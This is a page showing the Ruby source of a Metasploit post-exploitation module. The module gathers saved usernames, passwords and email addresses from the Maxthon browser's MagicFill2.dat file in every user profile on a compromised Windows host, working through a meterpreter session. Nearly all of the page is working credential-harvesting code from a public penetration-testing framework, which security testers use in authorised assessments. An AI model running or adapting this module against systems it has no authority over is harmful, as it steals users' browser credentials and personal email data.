CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/maxthon.rb
Views: 11703
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
# this associative array defines the artifacts known to PackRat
9
include Msf::Post::File
10
include Msf::Post::Windows::UserProfiles
11
include Msf::Post::Windows::Packrat
12
13
ARTIFACTS =
14
{
15
application: 'maxthon',
16
app_category: 'browsers',
17
gatherable_artifacts: [
18
{
19
filetypes: 'logins',
20
path: 'AppData',
21
dir: 'Maxthon3',
22
artifact_file_name: 'MagicFill2.dat',
23
description: "Maxthon's sent and received emails",
24
credential_type: 'text',
25
regex_search: [
26
{
27
extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
28
extraction_type: 'credentials',
29
regex: [
30
'(?i-mx:password.*)',
31
'(?i-mx:username.*)'
32
]
33
},
34
{
35
extraction_description: 'searches for Email TO/FROM address',
36
extraction_type: 'Email addresses',
37
regex: [
38
'(?i-mx:to:.*)',
39
'(?i-mx:from:.*)'
40
]
41
}
42
]
43
}
44
]
45
}.freeze
46
47
def initialize(info = {})
48
super(
49
update_info(
50
info,
51
'Name' => 'Maxthon credential gatherer',
52
'Description' => %q{
53
PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
54
PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
55
Further details can be found in the module documentation.
56
This is a module that searches for Maxthon credentials on a windows remote host.
57
},
58
'License' => MSF_LICENSE,
59
'Author' => [
60
'Kazuyoshi Maruta',
61
'Daniel Hallsworth',
62
'Barwar Salim M',
63
'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org
64
],
65
'Platform' => ['win'],
66
'SessionTypes' => ['meterpreter'],
67
'Notes' => {
68
'Stability' => [CRASH_SAFE],
69
'Reliability' => [],
70
'SideEffects' => []
71
}
72
)
73
)
74
75
register_options(
76
[
77
OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),
78
OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
79
OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
80
# enumerates the options based on the artifacts that are defined below
81
OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])
82
]
83
)
84
end
85
86
def run
87
print_status('Filtering based on these selections: ')
88
print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
89
print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
90
print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
91
92
# used to grab files for each user on the remote host
93
grab_user_profiles.each do |userprofile|
94
run_packrat(userprofile, ARTIFACTS)
95
end
96
97
print_status 'PackRat credential sweep Completed'
98
end
99
end
100
101